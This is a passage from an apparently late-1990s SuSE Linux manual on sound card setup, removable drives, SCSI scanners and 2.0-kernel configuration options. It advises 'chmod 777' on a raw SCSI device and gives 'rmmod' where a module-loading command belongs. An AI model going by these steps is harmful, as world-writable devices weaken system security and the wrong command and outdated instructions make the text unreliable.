The association of the `/etc/isapnp.conf` file with appendix E is not really obvious to the unsuspecting reader. Many of the values, however, seem to correspond to similar values in Soundblaster-compatible sound cards. The list may serve as a template, but not more.

When the Wavetable logical device (as a rule `LD2`) is tested, the output produced by **pnpdump** for **AWE 64 PnP** will frequently deviate significantly from the list contained in the appendix . This is to do with a **AWE 64 PnP** bug. You can find details in the article "Sound: pnpdump and AWE64" located in our support database (section I.1.3, page 428).

3. Change into the `/usr/src/linux/` directory. After installing package `lx_suse`, it contains the Linux kernel sources as prepared by SuSE.
4. Choose the sound driver written for your sound card. Many cards can be run under the Soundblaster driver (Option `'sound Blaster (SB, SBPro, SB16, clones) support'`). Activate the option `'/dev/audio and /dev/support'`. There are other options you might need: `'MIDI interface support'` `'Generic OPL2/OPL3 FM synthesizer support'` `'FM synthesizer (YM3812/OPL-3) support'` Some drivers incorporate MPU401 support (e.g. the Soundblaster driver). You may not use the option (`'MPU-401 support (NOT for SB 16)'` in this case. Now you have to enter a few sound driver parameters, e.g. IRQs. Please copy precisely the values you chose for your card in `/etc/isapnp.conf`. If you use a non-ISA PNP card, enter the values you have gleaned from your own sources. Please do not forget to activate any special properties your sound card might have (e.g. AWE32 Synthesizer).

   There are no rules for the choice of options. screen output 12.3.1, however, shows options that have to be chosen in 2.0x kernels for a "Creative SB AWE64 PnP". It used the resources chosen in the `isapnp.conf` file.

   There are several important issues: the MPU-401 has not been chosen explicitly. Since the SB16 driver contains another driver for the MPU-401, it was not necessary to choose a driver for it. But contrary to the comment present in the configuration menu, it was not value `-1` that has been entered for the SB MPU-401 IRQ but `5`. This seems to have been the only choice for some AWE64 versions as well as some the Vibra chip-based SB16 cards.
5. Compile the kernel and the module. Please make sure that the kernel was configured with module support. Install the configured kernel as the boot kernel and reboot your computer. Once you are sure that the kernel source version and the running kernel version correspond, check again that this

```
<M> Sound card support
    Old configuration script  (For: SM Wave, PSS & AudioTrix Pro) -->
[ ] ProAudioSpectrum 16 support
[*] Sound Blaster (SB, SBPro, SB16, clones) support
[*] Generic OPL2/OPL3 FM synthesizer support
[ ] Gravis Ultrasound support
[ ] MPU-401 support (not for SB16)

[ Some entries that have not been activated have been deleted ]

[ ] Support for Crystal CS4232 based (PnP) cards
[ ] Support for Turtle Beach Wave Front (Maui, Tropez) synthesizers
[*] /dev/dsp and /dev/audio support
[*] MIDI interface support
[*] FM synthesizer (YM3812/OPL-3) support
(220) I/O base for SB Check from manual of the card
(5)   Sound Blaster IRQ Check from manual of the card
(1)   Sound Blaster DMA 0, 1 or 3
(5)   sound Blaster 16 bit DMA (_REQUIRED_for SB16, Jazz16, SMW) 5, 6 o
(330) MPU401 I/O base of SB16, Jazz16 and ES1688 Check from manual of
(5)   SB MPU401 IRQ (Jazz16, SM Wave and ES1688) Use -1 with SB16
(65536) Audio DMA buffer size 4096, 16384, 32768 or 65536

[*] Additional low level drivers
[ ] ACI mixer (microPCM12)
[*] AWE32 synth
```

Screen output 12.3.1: 64 Example Configuration

kernel has been compiled with module support for sound cards. Thereafter it should be sufficient to recompile and install the modules. This is particularly important in case you are relying on the SuSE Linux standard kernel. The standard kernel is derived from the package `lx_suse`. You can enter the command

```
earth:/ # uname -a
```

and find out which kernel has booted (compilation time, version, ...

6. Once module compilation is complete (**`make modules`**), please don't forget to install the modules (**`make modules_install`**). And do pay attention to the fact that the module installation can cause existing modules in `/lib/modules/`<`[kernel version]`> to be overwritten. The configuration of the whole kernel has to suit your needs, not just the sound module.

   Occasionally it might suffice to copy a compiled sound modules from the relevant directory. into the module directory, e.g.

   ```
   cp /usr/src/linux/drivers/sound/sound.o /lib/modules/2.0.36/misc/
   ```

7. Remove already loaded, older sound modules from the Kernel:

   ```
   earth:/ # rmmod sound
   ```

   and load the newly-compiled module:

   ```
   earth:/ # rmmod sound
   ```

This command should return the wished-for result without error messages. If any should turn up, you might have committed an error in a previous step.

8. The sound card should work now. We will describe some test methods below.

Testing for functionality:

You have completed the installation sequence and you would like to test sound production. Enter the following command (after loading the sound module):

```
earth:/ # cat /dev/sndstat
```

If you are using the AWE64 sound card you should receive output similar to the example shown in screen output 12.3.2.

```
Installed drivers:
Type 1: OPL-2/OPL-3 FM
Type 2: Sound Blaster
Type 7: SB MPU-401

Card config:
Sound Blaster at 0x220 irq 5 drq 1,5
SB MPU-401 at 0x330 irq 5 drq 0
OPL-2/OPL-3 FM at 0x388 drq 0

Audio devices:
0: Sound Blaster 16 (4.16)

Synth devices:
0: Yamaha OPL-3
1: AWE32-0.4.2c (RAM8192k)

Midi devices:
0: Sound Blaster 16

Timers:
0: System clock

Mixers:
0: Sound Blaster
1: AWE32 Equalizer
```

Screen output 12.3.2: Command Output **`cat /dev/sndstat`**

It is paramount that the drivers appearing under '`Card config`' do not have brackets around their names. If this is the case, the functionality compiled into the kernel has not been recognized.

If you are, however, getting the output as outlined above, you should try to play an audio file:

```
earth: # cat song.au > /dev/audio
  earth: # cat song.wav > /dev/dsp
  earth: # tracker song.mod
```

If your card supports it, MIDI files can be conveniently played by the KDE programs **kmid** and **kmidi**.

If **`cat /dev/sndstat`** is producing the desired output and **`cat mysong.au > /dev/audio`** is returning without error message, but you are still unable to hear anything, try to start the program **xmix**. It is possible that the volume has not been properly set.

Open Sound System(OSS):

If you encounter problems under Linux to get your sound card to emit sound, you might be better off using the (commercial) OSS sound system by **4front**. Many modern sound cards are not capable of running under Linux except with this driver. You would also circumvent the ISA PnP sound card initialization problem, since initialization is dealt with by OSS. The full plethora of some Soundblaster-compatible functions is only fully used by OSS sound systems. There are two OSS versions of interest to us:

1. You can download a time-limited demo of the newest OSS version from the **4front** `http://www.4front-tech.com` website. It supports a number of ISA devices plus a number of PCI-based sound cards. A list of all supported cards can be had at `http://www.opensound.com/`. – You find more information about OSS on our website `http://www.suse.de/linux.html`.

   You can find the version on the CD that was the most current at the time of burning (package `ossdemo`, series `pay`).
2. You can find the OSS sound system in an older free (free of charge and unlimited) version on your SuSE Linux distribution (Version 3.7.1z, package `oss`, series `pay`). Many available sound cards are supported. Give it a go !

> Please take into account that version OSS3.7.1z happens to be a *commercial product*. Although as an owner of the full SuSE Linux version you do not have to pay for it, restrictions and copyright laws with respect to the number of users entitled to use of this software apply. Neither is it permitted to enable downloading from ftp servers or via similar means! Restrictions akin to these are valid for the OSS demo version found on the CD. – *Licencing details can be viewed after installation in the OSS licences directory (/usr/lib/oss). Driver configuration and installation indicates full agreement with the conditions and contents of the licence !*

You can find instructions on configuration and use after installation of the driver in the file `README.SuSE` below `/usr/doc/packages/ossdemo` or `/usr/doc/packages/oss`.

12.4 2.2 Kernels: Preview

ISA "Plug and Play" Hardware

2.2 version kernels control IsA PnP device intialization. To profit from this functionality, you would have to activate, e.g., within **make menuconfig** in submenu `'Plug and Play support'`, the option carrying the same name. You can omit creating the `/etc/isapnp.conf` file.

The Modularized Sound Driver

The sound drivers contained in the 2.0x kernels are monolithic. All resources have to be compiled into the kernel. If card resources change, one would have to compile a new sound driver. In contrast, all sound driver components are modular in the 2.2 kernel. Drivers can be loaded at runtime after passing the necessary parameters. New drivers do not have to be compiled. If kernel sources (package `lx_suse`) have been installed, detailed Information can be found in the `/usr/src/linux/Documentation/sound` directory.

12.5 Changeable Media Drives

12.5.1 General

Many changeable media varieties can be used under Linux: floppy disk drives, ZIP drives, JAZ drives, SyQuest disk drives, MO (magneto-optical) drives – anything goes.

12.5.2 Disk Drives

You need have "Floppy" support to access floppy disks(compare section 13.4.6, page 269).

You can access MS-DOS floppies directly using the **mtools** (compare section 19.13, page 375); it is quite common to use `minix` file systems on floppies – you have to mount the disks using the usual mount"mount" commands. (compare section 19.12, page 372).

12.5.3 LS 120 Drives

LS 120 drives are ATAPI devices. They need IDE drivers (compare section 13.4.6, page 270); just like (E)IDE hard disks the drives have to be integrated into the file system via "mount".

12.5.4 ZIP Drives

There are ZIP drives with interfaces for parallel ports, ATAPI and SCSI.

To run the parallel port version you need SCSI hard drive support(compare section 13.4.8, page 275) as well as the kernel `ppa` driver; the `ppa` driver is hiding among the "SCSI low level drivers"!

To avoid a conflict with the printer, the `ppa` driver should be compiled as a module and loaded when needed using **`modprobe`** (compare section 13.2, page 263). Then you are ready to access ZIP disks in the same manner you would be accessing SCSI hard drives.

You can find all you need for ATAPI versions under section 12.5.3, page 257. And SCSI versions are covered in section 12.5.5, page 258.

12.5.5 SCSI Dives for Changeable Media

Magneto-optical drives (MO), SyQuest disk drives, ZIP and JAZ drives with SCSI interfaces and other device with SCSI interfacing capability are treated in the same manner as SCSI hard drives.

12.6 Scanner

General

Meanwhile there are software and drivers for accessing scanners on Linux. If you want to make use of this feature you will need to attach your scanner to a SCSI controller. Please avoid the TWAIN cards.

Hardware: Flatbed scanner, Cameras, document feed ...

For being able to make use of your scanner you will need kernel support for generic SCSI devices (see section 13.4.8, page 275) and a suitable "device file". Under Linux scanners are accessed as generic SCSI. These devices range from /dev/sg0 to /dev/sg<XX>.

The easiest way to find out which device to use is provided by the tool **sgcheck** (package scsiinfo). After the installation just invoke **sgcheck** by entering:

```
earth: # sgcheck
```

You should get an output resembling the following:

```
Assignment of generic SCSI devices,
device host/channel/ID/LUN type(numeric type) vendor model:

/dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N
/dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X
/dev/sg2 0/0/5/0 Processor(3) HP C2500A
```

According to this example your scanner would be /dev/sg2

Now link this file to /dev/scanner (this might as well be done by YaST) (see section 3.13.1, page 70).

```
earth: # ln -s /dev/sg2 /dev/scanner
```

Thereafter you will need to adjust the permissions for the generic SCSI device. SANE needs writer permissions:

```
earth: # chmod 777 /dev/sg2
```

Now you should be able to access your scanner.

Software

Install the package sane[5]. Please have a look at the README file in /usr/doc/packages/sane after the installation! You will find a binary named

[5] see ftp://ftp.mostang.com/pub/sane/.

xscanimage. You may invoke this file and it should automatically detect your scanner.

The package "the GIMP" (package `gra`, series `gimp`) has been designed using the same library as SANE. This enables you to use SANE as "plug in" for SANE. For making use of this feature you will need to create a link *after* the installation of "theGIMP" (the directory `~/.gimp` needs to exist. This directory is automatically created when "theGIMP" is launched the first time).

```
newbie@earth: > cd ~/.gimp/plug-ins
newbie@earth:~/.gimp/plug-ins > ln -s /usr/X11R6/bin/xscanimage xscanimage
```

Now SANE is automatically detected and should appear in the menu `'Xtns'` of "the GIMP". When you scan an image it will automatically be loaded into GIMP and you may use GIMP to manipulate the image.

Problems

If your scanner was not found please check whether your SCSI controller found it by entering:

```
earth: # cat /proc/scsi/scsi
```

Now you should see a line resembling:

```
Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
  Vendor: SEAGATE  Model: ST32550N       Rev: 0016
  Type:   Direct-Access                  ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 01 Lun: 00
  Vendor: PIONEER  Model: CD-ROM DR-U10X Rev: 1.07
  Type:   CD-ROM                         ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 02 Lun: 00
  Vendor: QUANTUM  Model: FIREBALL_TM3200S Rev: 300N
  Type:   Direct-Access                  ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
  Vendor: SCANNER  Model:                Rev: 2.00
  Type:   Scanner                        ANSI SCSI revision: 01 CCS
```

If there is no output this means that your SCSI controller was not found. Please have a look at section 13.4.8 for help how to attach your SCSI controller.

If **xscanimage** doesn't find your scanner although the above command lists it this might be due to either of the following reasons:

- You scanner is not yet supported
- You need to pass parameters to `xscanimage`.

Both cases are covered in the `README` files. Most of the common scanners are supported meanwhile.

Part VI

The kernel and its parameters

Chapter 13
The kernel

The standard SuSE kernel, which is written to disk after installation (and which is found in a correctly installed system under `/`), is configured to support a wide range of hardware. Therefore, this is certainly not the best possible kernel, since it's rather tedious to wait until all (mostly unnecessary) drivers are installed. Moreover, some RAM KBs are wasted, since lots of unnecessary drivers are loaded.

This leads to the great advantage of building a kernel of your own. Furthermore, creating your own kernel in some cases provides access to exotic hardware which is not supported by our standard kernels (e. g., exotic bus-mice or sound devices). What is more, kernel configuring provides a view into the inside of the actual status quo of kernel development.

For compiling a kernel, there are already a couple of `Makefiles` for the C compiler. These `Makefiles` almost automatically generate everything for you. The only thing you have to do by hand is to enter the list of your hardware.

13.1 Kernel sources

For building a kernel, obviously, the kernel sources and the C compiler have to be installed. Both of them are located in series `D` (Development) on the CD-ROM. Generally, it is highly recommended to install the C compiler since **C** language is inseparable from UNIX operating systems.

Kernel sources are found in `/usr/src/linux`. If you plan to experiment with different kernel sources, you can unpack them in different directories and access the actual sources via a symbolic link. That's what YaST does automatically.

Since there is a lot of software that relies on the sources being in `/usr/src/linux`, you should maintain this directory as a symbolic link to your current kernel source to provide an error-free compilation of system programs which must access the kernel sources.

13.2 Kernel modules

Many drivers and features no longer have to be compiled directly into the kernel but can be loaded at runtime via kernel modules. Which drivers are to be compiled into the kernel and which are loaded as runtime modules is defined in kernel configuration.

Kernel modules are located at `/lib/modules/<version>` where <version> is the actual kernel version.

13.2.1 Handling modules

The following commands are available for your use:

- **`insmod`**
  insmod loads the requested module after searching for it in a subdirectory of `/lib/modules/<Version>`.
- **`rmmod`**
  Unloads the requested module. This is only possible if this module is no longer needed. It is not possible to unload the **`isofs`** module, for example, while a CD is still mounted.
- **`depmod`**
  Creates the file `modules.dep` in `/lib/modules/<version>` where dependencies of all of the modules are defined. This is necessary to ensure that all dependent modules are loaded along with the selected ones. If **`START_KERNELD`** is set in `/etc/rc.config`, this file is created each time the system is started.
- **`modprobe`**
  Loads or unloads a given module while considering dependencies of this module. This command is extremely powerful and can be used for a lot of things (e. g., probing all modules of a given type until one is successfully loaded). In contrast to **insmod**, **modprobe** checks `/etc/conf.modules` and should be used for loading modules. For detailed information on this topic, please refer to the corresponding manual page.
- **`lsmod`**
  Shows you which modules are currently loaded and by how many other modules they are being used. Modules started by the kernel daemon are tagged by `autoclean`, which shows that these modules will be removed automatically when they reach their idle time limit.

Loading of modules is further influenced by `/etc/conf.modules`. Here, you can add parameters to those modules that directly access your hardware (e. g., CD-ROM drivers). These parameters are nearly identical to those given at the LILO prompt (see chapter 14), but they differ in a number of particulars. If loading a module failed, you can try again after specifying your hardware in `/etc/conf.modules`.

13.2.2 The kernel daemon

The most elegant way to use modules is the kernel daemon anyway. This process runs in the background and takes care of the necessary modules to be loaded as soon as this is requested by the kernel. Moreover, unused modules are unloaded automatically after a certain idle time (default: 1 minute).

To use the kernel daemon, you have to set the corresponding variable in `/etc/rc.config` (see section 17.6).

> The drivers needed to access the root filesystem have to be compiled directly into the kernel! So you should not load your SCSI driver or your filesystem (normally: **ext2**) via modules!

13.3 Kernel configuration

Configuring the kernel can be done in three different ways:

1. On the command line
2. In a menu in text mode
3. In a menu under the X Window System

Here, we give a short overview of these three alternatives.

Configuring on the command line

To configure the kernel, just change to `/usr/src/linux` and enter:

```
earth:/usr/src/linux # make config
```

Now you are asked to choose the options that you want supported by your freshly-to-be-created kernel. Here, there are two or three possible answers: y , n or m . 'm' means that this device is not compiled directly into the kernel but as a module instead. Any driver that is needed to bring up the system properly should not be loaded as a module. If you press any other key, you get a short help text about the current option.

Configuring in text mode

A much more convenient way of configuring the kernel is by typing:

```
earth:/usr/src/linux # make menuconfig
```

With **make menuconfig**, if you see that you have mistyped something by accident, you do not have to fiddle through all the questions another time.

Configuring under the X Window System

If you have installed the X Window System (package `xf86`) and Tcl/Tk (package `tcl` and package `tk`), you can use:

```
earth:/usr/src/linux # make xconfig
```

as an alternative. You will be presented a GUI (Graphical User Interface) which makes kernel configuration very user-friendly. You should have started the X Window System as 'root' or you have to take additional steps into consideration (e. g., taking over the display from another user).

13.4 Settings in kernel configuration

newest documentation

All options are roughly previewed in this section. Please keep in mind that several options might differ from version to version. The latest documentation is always in `/usr/src/linux/Documentation`.

13.4.1 `/boot`: Kernel installations path

Please remove the comment in front of `INSTALL_PATH=/boot` in the Kernel `Makefile` (app. line 74; of course only if it isn't already uncommented). Now your own kernel will be installed in `/boot`

13.4.2 SMP

Usually, a kernel for a one-processor machine is built. Compiling an SMP version is not included in the standard configuration. If you plan to compile an SMP version, you have to edit the top-level Makefile by hand, removing the '`#`' from line 14 (giving **`SMP`** the value `1`).

13.4.3 Experimental drivers

☞ **Experimental drivers**

Config Question: `Prompt for development code/drivers`

Config Variable: `CONFIG_EXPERIMENTAL`

Allows you to choose from the latest drivers which are not fully tested yet. If you answer '`No`', a couple of drivers will not appear for configuration.

13.4.4 Module support

☞ **Support for loadable modules**

Config Question: `Enable loadable module support`

Config Variable: `CONFIG_MODULES`

Recommended Enables use of loadable modules. These are drivers that are not compiled directly into the kernel but are loaded via **`insmod`** at runtime. If you enable this option, you will be presented an additional select option '`m`' (module). Otherwise, you will only be presented '`y`' and '`n`'. More information is in `/usr/src/linux/Documentation/modules.txt`.

☞ **Version information on all symbols**

Config Question: `Version information on all symbols`

Config Variable: `CONFIG_MODVERSIONS`

Your modules are more or less independent from the kernel version if you enable this feature (normally any modules have to be recompiled if you install a newer kernel). This feature is not recommended for novices. If you install a **`MODVERSIONS`** kernel, you have to install the modules exactly the same!

☞ **Kernel daemon support**

Config Question: `Kernel daemon support`

Config Variable: `CONFIG_KERNELD`

Recommended Enables automatic loading of modules at runtime. Use of this feature is recommended only for drivers that are not urgently needed (e. g., additional filesystems or the like).

13.4.5 General configuration

☞ **Kernel math emulation**

Config Question: `Kernel math emulation`

Config Variable: `CONFIG_MATH_EMULATION`

Set this option only if you plan to install this kernel on a machine without a FPU (floating point arithmetic hardware) (e. g., 386, 486SX).

> If you omit this option, the kernel will not run on a machine without FPU! An emulation on a machine with a FPU does not hurt but uses up memory.

☞ **Networking support**

Config Question: `Networking support`

Config Variable: `CONFIG_NET`

This is required, if you plan to install a network (normal **`TCP/IP`** or **`loopback`**). Disabling the network support should only be done if there is little RAM memory available. Drivers for certain networking devices are specified later on. **Recommended!**

☞ **Limit memory to low 16 MB**

Config Question: `Limit memory to low 16 MB`

Config Variable: `CONFIG_MAX_16M`

Activating this option makes use only of the first 16 MB of RAM. This might be necessary on machines that can not handle caching of memory beyond 16 MB. In most cases, this 'loss' of memory leads to a higher performance than loss of cache.

☞ **PCI bios support**

Config Question: `PCI bios support`

Config Variable: `CONFIG_PCI`

Enables 32 bit calls on PCI boards. Some older boards have bugs in their BIOS that can cause trouble. See the `PCI-HOWTO` for more help. There should not be any problem on newer machines.

☞ **PCI bridge optimization (experimental)**

Config Question: `PCI bridge optimization (experimental)`

Config Variable: `CONFIG_PCI_OPTIMIZE`

If you have a PCI motherboard, enabling this option can enhance access to some devices.

☞ **System V Inter Process Communication**

Config Question: `System V IPC`

Config Variable: `CONFIG_SYSVIPC`

Inter Process Communication are services such as *messages*, *shared memory* and *semaphores* which are provided by the kernel and which are used by many programs (e. g., the DOS emulator). **Recommended!**

☞ **Kernel support for a.out binaries**

Config Question: `Kernel support for a.out binaries`
Config Variable: `CONFIG_BINFMT_AOUT`

a.out is the old binary format under Linux. If you still have some of these old programs built with this binary format, you have to activate this option. Since there are still (mainly commercial products) that use this format, it is recommended that you load it as a module.

☞ **Kernel support for ELF binaries**

Config Question: `Kernel support for ELF binaries`
Config Variable: `CONFIG_BINFMT_ELF`

Necessary! **ELF** is the current binary format for libraries and programs in Linux. Since almost all software has been ported to ELF, you have to activate this option!

> If you do not select this file or select it as a module, you will not be able to boot your system since all relevant files use ELF!

☞ **Kernel support for JAVA binaries**

Config Question: `Kernel support for JAVA binaries`
Config Variable: `CONFIG_BINFMT_JAVA`

Enables direct starting of **JAVA** applets by the kernel itself. For use by this option, the **Java Developers Kit** (JDK) has to be installed on your system. See `/usr/src/linux/Documentation/java.txt` for more information. Loaded as a module it will not hurt anything.

☞ **Support for different binary formats**

Config Question: `Kernel support for MISC binaries`
Config Variable: `CONFIG_BINFMT_MISC`

Enables directly launching different binary formats by the kernel. It is mainly used by DOSEMU but may also replace the JAVA loader. Please be aware that this is an experimental feature that is not included in the official kernel version. To use it, you have to use the kernel extended by SuSE. A complete description of this feature can be found under `/usr/src/linux/Documentation/binfmt_misc.txt`.

☞ **Compile kernel as ELF**

Config Question: `Compile kernel as ELF`
Config Variable: `CONFIG_KERNEL_ELF`

Assigns the kernel to use the ELF format. You should answer this question `'yes'`.

☞ **Processor type**

Config Question: `Processor type`

Config Variable: `386, 486, Pentium, PPro`

Enables you to optimize your code according to the processor you use. If the kernel should run on different processors, you have to optimize it for 386.

If you set your processor to `Pentium`, really aggressive optimization is done (an extremely fast **memcopy** routine is used which really exploits the processor). There are indications that some processors can have problems with these routines (e. g., **Cyrix**, **Intel** 100 MHz B-Step). If your system does not run reliably, you should not optimize your kernel for Pentium.

> A 486 or Pentium kernel will *not* run on a 386!

13.4.6 Disks, (E)IDE and other block devices

☞ **Normal floppy disk support**

Config Question: `Normal floppy disk support`

Config Variable: `CONFIG_BLK_DEV_FD`

Necessary for using floppy drives under Linux. Disabling this option for security reasons might be useful.

☞ **Enhanced IDE/MFM/RLL support**

Config Question: `Enhanced IDE/MFM/RLL support`

Config Variable: `CONFIG_BLK_DEV_IDE`

Needed if you have non-SCSI devices installed (hard disk, ATAPI CD-ROM, etc.). If your machine does not contain an EIDE disk, or is driven via a network, or without any hard disks, you can switch off this option.

If you enable this option, you may define configuration for these drivers later on.

Some drivers themselves require additional arguments for fully exploiting the drivers' capabilities (section 13.4.6, page 270).

☞ **Use old disk-only driver for primary i/f**

Config Question: `Use old disk-only driver for primary i/f`

Config Variable: `CONFIG_BLK_DEV_HD`

Only IDE hard disk support without CD-ROM support. In this special case, no enhanced IDE disks are supported. Normally, this option is obsolete.

☞ **Include IDE/ATAPI CDROM support**

Config Question: `Include IDE/ATAPI CDROM support`

Config Variable: `CONFIG_BLK_DEV_IDECD`

Necessary for using CD-ROM devices connected to an EIDE controller (ATAPI CD-ROMs)

☞ **Support for ATAPI streamer**

Config Question: `Include IDE/ATAPI TAPE support`

Config Variable: `CONFIG_BLK_DEV_IDETAPE`

Support for ATAPI streamers.

☞ **Support for ATAPI Disk- and ZIP drives**

Config Question: `Include IDE/ATAPI FLOPPY support`

Config Variable: `CONFIG_BLK_DEV_IDEFLOPPY`

Support for ATAPI disk and ZIP drives; Necessary for using LS-120 drives.

☞ **Partial support for PCMCIA**

Config Question: `Support removeable IDE interfaces`

Config Variable: `CONFIG_BLK_DEV_IDE_PCMCIA`

Support for devices connected to a PCMCIA port. PCMCIA is not part of the official kernel but has to be compiled separately. This is required to install the sources of the PCMCIA subsystem (package `pcmcia_s`). See chapter 5.

☞ **Support for CMD640 EIDE chipsets**

Config Question: `CMD640 chipset bugfix/support`

Config Variable: `CONFIG_BLK_DEV_CMD640`

This chipset used on many EIDE controllers is buggy. If you have one of these, you have to activate this option for an error-free system.

☞ **Optimization for CMD640 EIDE Chipset**

Config Question: `CMD640 enhanced support`
Config Variable: `CONFIG_BLK_DEV_CMD640_ENHANCED`
Enables auto-tuning of some PIO modes of this special chipset.

☞ **Support for RZ1000 EIDE chipset**

Config Question: `RZ1000 chipset bugfix/support`

Config Variable: `CONFIG_BLK_DEV_RZ1000`

This chipset used on many EIDE controllers is buggy. If you have one of these, you have to activate this option for an error-free system.

☞ **Support for Mainboard chipset Intel 82371 PIIX**

Config Question: `Intel 82371 PIIX (Triton I/II) chipset`

Config Variable: `CONFIG_BLK_DEV_TRITON`

Enables DMA capabilities if you have one installed. This reduces CPU accesses on your system.

☞ **Other IDE chipset support**

Config Question: `Other IDE chipset support`

Config Variable: `CONFIG_IDE_CHIPSETS`

Support for lots of other chipsets can be set here. Some of them might not even let you handle your secondary controller without this option (most of them have a CD-ROM connected to this controller). Most of these drivers have to be activated by a command line parameter as well (section 14.3.2)!

☞ **ALI M14xx support**

Config Question: `ALI M14xx support`
Config Variable: `CONFIG_BLK_DEV_ALI14XX`
This driver is activated by the kernel parameter **`ide0=ali14xx`**. This enables support for the secondary EIDE controller as well as increases I/O speed.

☞ **DTC-2278 support**

Config Question: `DTC-2278 support`
Config Variable: `CONFIG_BLK_DEV_DTC2278`
This driver is activated by the kernel parameter **`ide0=ht6560b`** This enables support for the secondary EIDE controller as well as increases I/O speed. This driver is famous for creating timeouts and retries at an high I/O load. CD-ROMs and tapes are not supported yet.

☞ **QDI QD6580 support**

Config Question: `QDI QD6580 support`
Config Variable: `CONFIG_BLK_DEV_QD6580`
This driver is activated by the kernel parameter **`ide0=qd6580`**. This enhances I/O speed.

☞ **UMC 8672 support**

Config Question: `UMC 8672 support`
Config Variable: `CONFIG_BLK_DEV_UMC8672`
This driver is activated by the kernel parameter **`ide0=umc8672`**. This enhances I/O speed and supports the secondary EIDE controller.

☞ **Loopback device support**

Config Question: `Loopback device support`
Config Variable: `CONFIG_BLK_DEV_LOOP`
Do not confuse this with networks loopback mode. Loopback device support allows you to treat a file the same way as a filesystem (e. g., you can mount it). Self-made CD images or disk images can be tested this way. Moreover, encryption is possible using this feature.

☞ **Multiple devices driver support**

Config Question: `Multiple devices driver support`
Config Variable: `CONFIG_BLK_DEV_MD`
Enables you to treat many physical devices as one logical device. This enables software linear mode (see below) and RAID-0. Only for experts.

☞ **Linear (append) mode**

Config Question: `Linear (append) mode`
Config Variable: `CONFIG_MD_LINEAR`
Here, partitions are bundled together logically by the multiple device driver thus leading to a single large mass storage medium.

☞ **Software Raid-0 (Stripping)**

Config Question: `RAID-0 (stripping) mode`
Config Variable: `CONFIG_MD_STRIPPED`
This enables software RAID-0. Enhances performance if the bundled partitions reside on different disks.

☞ **Providing RAMDISK devices**

Config Question: `RAM disk support`

Config Variable: `CONFIG_BLK_DEV_RAM`

Allows use of a RAM disk which can be accessed via `/dev/ram`. It is not necessary to assign the size in advance (e. g., at boot time). Memory is not allocated and released dynamically. If you plan to use a RAM disk, please see `/usr/src/linux/Documentation/ramdisk.txt`.

☞ **Initial RAM disk (initrd) support**

Config Question: `Initial RAM disk (initrd) support`
Config Variable: `CONFIG_BLK_DEV_INITRD`
A special kind of RAM disk which is dealt with by the loader. This feature is not necessary for everyday work. It is used, e. g., in our installation system for loading the root image from CD.

☞ **Support for old XT hard disks**

Config Question: `XT harddisk support`

Config Variable: `CONFIG_BLK_DEV_XD`

This driver is only needed if you plan to use an XT controller (8 bit). Normally this is not the case.

13.4.7 Network options

☞ **Network firewalls**

Config Question: `Network firewalls`

Config Variable: `CONFIG_FIREWALL`

Enables firewalling in the kernel to let you run your Linux machine as a firewall. A *firewall* protects your machine against illegal attacks from the Internet or another network by supervising the network traffic. If you plan to use your machine as a firewall, you should enable `CONFIG_IP_FORWARD` too.

☞ **Network aliasing**

Config Question: `Network aliasing`

Config Variable: `CONFIG_NET_ALIAS`

Supports multiple IP addresses on one physical network device. This is normally for services that behave differently on different addresses (e. g., the **Apache** server).

☞ **Support for TCP/IP protocol**

Config Question: `TCP/IP networking`

Config Variable: `CONFIG_INET`

The TCP/IP protocols are the most important network protocols for UNIX and the Internet. Since many services use these protocols, you should enable this feature even if there is no networking device installed in your machine. In this case, at least a so-called *loopback device* will be provided which enables network access to your own machine. Without this option, printing is impossible!

Very much recommended!

☞ **IP forwarding/gatewaying**

Config Question: `IP forwarding/gatewaying`

Config Variable: `CONFIG_IP_FORWARD`

This option is only needed if the machine will be installed as a router in a local network, will be connected to the Internet, or will serve as a SLIP server.

☞ **IP multicasting**

Config Question: `IP multicasting`

Config Variable: `CONFIG_IP_MULTICAST`

Enables simultaneously addressing multiple networked machines (Fan out). **gated** needs this to be activated.

☞ **IP accounting**

Config Question: `IP accounting`

Config Variable: `CONFIG_IP_ACCT`

Serves for logging IP packages and is not needed normally. Some programs on the other hand (e. g., **xosview**) cannot show network traffic without this option being set.

☞ **PC/TCP compatibility mode**

Config Question: `PC/TCP compatibility mode`

Config Variable: `CONFIG_INET_PCTCP`

If you encounter problems while addressing Linux via PC/TCP software, you should answer `'y'`.

☞ **Reverse ARP**

Config Question: `Reverse ARP`

Config Variable: `CONFIG_INET_RARP`

A machine without a disk drive knows its Ethernet hardware address but not its IP address when booting. To obtain its IP address, it sends a *Reverse Address Resolution Protocol* over the net. If your Linux machine must answer such requests, you have to enable this option.

☞ **Disable Path MTU Discovery**

Config Question: `Disable Path MTU Discovery`

Config Variable: `CONFIG_NO_PATH_MTU_DISCOVERY`

Normally, the MTU (maximum transfer unit) is assigned automatically. This starts with the largest possible packets and goes down to smaller ones if necessary. If you encounter problems using this feature, you should disable it.

☞ **Drop source routed frames**

Config Question: `Drop source routed frames`

Config Variable: `CONFIG_IP_NOSR`

Packets whose routing is already assigned by the sender should be ignored. For security reasons, you should answer `'yes'` unless you are pretty sure of what you are doing.

☞ **Allow large windows**

Config Question: `Allow large windows`

Config Variable: `CONFIG_SKB_LARGE`

Enables greater network performance by using large RAM buffers. If you have less than 16 MB installed, you should omit this option.

☞ **The IPX protocol**

Config Question: `The IPX protocol`

Config Variable: `CONFIG_IPX`

Support for the **Novell** IPX protocol. It enables you to access a **Novell Netware** server either from within **ncpfs** or from the DOS emulator.

☞ **Appletalk DDP**

Config Question: `Appletalk DDP`

Config Variable: `CONFIG_ATALK`

Enables integration of a Linux machine into an **Appletalk** network.

☞ **Amateur Radio AX.25 Level 2**

Config Question: `Amateur Radio AX.25 Level 2`

Config Variable: `CONFIG_AX25`

Enables data transfer via CB. You will need additional software which can be found on our CD under `/unsorted/Amateur-Funk` (see also `/usr/src/linux/Documentation/networking/ax25.txt`).

☞ **Bridging**

Config Question: `Bridging`

Config Variable: `CONFIG_BRIDGE`

Enables you to use your Linux machine as an Ethernet bridge. This means that the segments the machine is connected to will seem like one big network to the users. Bridging code is still under test and should only be used by experienced users.

☞ **Kernel/User network link driver**

Config Question: `Kernel/User network link driver`

Config Variable: `ONFIG_NETLINK`

